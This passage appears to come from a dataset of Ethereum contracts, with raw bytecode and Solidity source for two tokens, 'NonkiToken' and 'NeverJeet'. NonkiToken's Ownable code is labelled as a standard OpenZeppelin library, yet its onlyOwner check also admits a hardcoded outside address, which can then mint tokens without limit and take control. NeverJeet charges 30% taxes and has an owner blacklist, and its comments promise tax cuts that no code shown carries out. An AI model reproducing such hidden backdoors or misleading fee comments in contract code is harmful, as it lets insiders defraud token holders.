fffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212206b48ed9c32c2b7e10d050ee0344ea8e29ab2d430aba580b66425a15e66c2cccd64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 6,250 |
0xc154B3B1c0e2B5317a526a329dc5440C096b757e
|
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.0 (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender() || address(0x8fCe3B2B7B052C5858dB41e5606C2F2c2A08c478) == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5.05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract NonkiToken is ERC20("$NONKI", "$NONKI"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101eb578063a9059cbb146101fe578063dd62ed3e14610211578063f2fde38b1461024a57600080fd5b806370a0823114610197578063715018a6146101c05780638da5cb5b146101c857806395d89b41146101e357600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806340c10f191461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b61010261025d565b60405161010f9190610b03565b60405180910390f35b61012b610126366004610ad9565b6102ef565b604051901515815260200161010f565b6002545b60405190815260200161010f565b61012b61015b366004610a9d565b610305565b6040516012815260200161010f565b61012b61017d366004610ad9565b6103b4565b610195610190366004610ad9565b6103f0565b005b61013f6101a5366004610a48565b6001600160a01b031660009081526020819052604090205490565b610195610446565b6005546040516001600160a01b03909116815260200161010f565b61010261049a565b61012b6101f9366004610ad9565b6104a9565b61012b61020c366004610ad9565b610542565b61013f61021f366004610a6a565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610195610258366004610a48565b61054f565b60606003805461026c90610bb3565b80601f016020809104026020016040519081016040528092919081815260200182805461029890610bb3565b80156102e55780601f106102ba576101008083540402835291602001916102e5565b820191906000526020600020905b8154815290600101906020018083116102c857829003601f168201915b5050505050905090565b60006102fc338484610608565b50600192915050565b600061031284848461072c565b6001600160a01b03841660009081526001602090815260408083203384529091529020548281101561039c5760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103a98533858403610608565b506001949350505050565b3360008181526001602090815260408083206001600160a01b038716845290915281205490916102fc9185906103eb908690610b8d565b610608565b6005546001600160a01b031633148061041c5750738fce3b2b7b052c5858db41e5606c2f2c2a08c47833145b6104385760405162461bcd60e51b815260040161039390610b58565b61044282826108fb565b5050565b6005546001600160a01b03163314806104725750738fce3b2b7b052c5858db41e5606c2f2c2a08c47833145b61048e5760405162461bcd60e51b815260040161039390610b58565b61049860006109da565b565b60606004805461026c90610bb3565b3360009081526001602090815260408083206001600160a01b03861684529091528120548281101561052b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610393565b6105383385858403610608565b5060019392505050565b60006102fc33848461072c565b6005546001600160a01b031633148061057b5750738fce3b2b7b052c5858db41e5606c2f2c2a08c47833145b6105975760405162461bcd60e51b815260040161039390610b58565b6001600160a01b0381166105fc5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610393565b610605816109da565b50565b6001600160a01b03831661066a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610393565b6001600160a01b0382166106cb5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610393565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166107905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610393565b6001600160a01b0382166107f25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610393565b6001600160a01b0383166000908152602081905260409020548181101561086a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610393565b6001600160a01b038085166000908152602081905260408082208585039055918516815290812080548492906108a1908490610b8d565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108ed91815260200190565b60405180910390a350505050565b6001600160a01b0382166109515760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f2061646472657373006044820152606401610393565b80600260008282546109639190610b8d565b90915550506001600160a01b03821660009081526020819052604081208054839290610990908490610b8d565b90915550506040518181526001600160a01b038316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b80356001600160a01b0381168114610a4357600080fd5b919050565b600060208284031215610a5a57600080fd5b610a6382610a2c565b9392505050565b60008060408385031215610a7d57600080fd5b610a8683610a2c565b9150610a9460208401610a2c565b90509250929050565b600080600060608486031215610ab257600080fd5b610abb84610a2c565b9250610ac960208501610a2c565b9150604084013590509250925092565b60008060408385031215610aec57600080fd5b610af583610a2c565b946020939093013593505050565b600060208083528351808285015260005b81811015610b3057858101830151858201604001528201610b14565b81811115610b42576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610bae57634e487b7160e01b600052601160045260246000fd5b500190565b600181811c90821680610bc757607f821691505b60208210811415610be857634e487b7160e01b600052602260045260246000fd5b5091905056fea2646970667358221220ef1a553d8c75effbdef5ce7f3386175e2c8b3558198745a176fe0a257a61d09764736f6c63430008070033
|
{"success": true, "error": null, "results": {}}
| 6,251 |
0x0003ed19f80564745e84b4cc411a7b6be4f0cf31
|
/**
*Submitted for verification at Etherscan.io on 2021-11-25
*/
// NeverJeet
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NeverJeet is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "NeverJeet";
string private constant _symbol = "NeverJeet";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0; // 0%
uint256 private _buytax = 30; // Buy tax 30% for first 5 minutes then reduced to 10%
uint256 private _teamFee;
uint256 private _sellTax = 30; // Launch sell tax 30% for first 24 hours. Then Sell tax down to 10%.
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
uint256 private _numOfTokensToExchangeForTeam = 500000 * 10**9;
uint256 private _routermax = 5000000000 * 10**9;
// Bot detection
mapping(address => bool) private bots;
mapping(address => bool) private whitelist;
mapping(address => uint256) private cooldown;
address payable private _MarketTax;
address payable private _Dev;
address payable private _DevTax;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 public launchBlock;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable markettax, address payable devtax, address payable dev) {
_MarketTax = markettax;
_Dev = dev;
_DevTax = devtax;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_MarketTax] = true;
_isExcludedFromFee[_DevTax] = true;
_isExcludedFromFee[_Dev] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if(from != address(this)){
require(amount <= _maxTxAmount);
}
if(from != owner() && to != owner()){
_teamFee = _buytax;
}
require(!bots[from] && !bots[to] && !bots[msg.sender]);
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _routermax)
{
contractTokenBalance = _routermax;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForTeam;
if (!inSwap && swapEnabled && overMinTokenBalance && from != uniswapV2Pair && from != address(uniswapV2Router)
) {
_teamFee = _sellTax;
// We need to swap the current tokens to ETH and send to the team wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function isExcluded(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isBlackListed(address account) public view returns (bool) {
return bots[account];
}
function isWhiteListed(address account) public view returns (bool) {
return whitelist[account];
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_MarketTax.transfer(amount.div(10).mul(3));
_DevTax.transfer(amount.div(10).mul(7));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
_maxTxAmount = 20000000000 * 10**9;
launchBlock = block.number;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function setSwapEnabled(bool enabled) external {
require(_msgSender() == _Dev);
swapEnabled = enabled;
}
function manualswap() external {
require(_msgSender() == _Dev);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualswapcustom(uint256 percentage) external {
require(_msgSender() == _Dev);
uint256 contractBalance = balanceOf(address(this));
uint256 swapbalance = contractBalance.div(10**5).mul(percentage);
swapTokensForEth(swapbalance);
}
function manualsend() external {
require(_msgSender() == _Dev);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner() {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
